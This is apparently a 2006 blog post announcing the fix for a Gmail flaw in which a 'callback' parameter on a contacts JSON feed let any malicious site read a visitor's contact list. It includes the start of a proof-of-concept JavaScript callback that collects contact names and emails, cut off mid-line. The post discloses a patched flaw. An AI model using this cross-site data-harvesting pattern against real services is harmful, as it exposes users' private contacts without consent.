Serious Gmail vulnerability fixed
December 31, 2006
After posting my last article about the contacts "JSON API", Haochi Chen discovered that by simply appending a "callback" variable in the URL, the creators of a malicious site could gain access to a visitors entire Gmail contact list without warning.
<script language="javascript"> function getContacts(response){ var output = ""; for(x=0;x<response.Body.Contacts.length;x++){ output += response.Body.Contacts[x].Name + " <" + response.Body.Contacts[x].Email […]
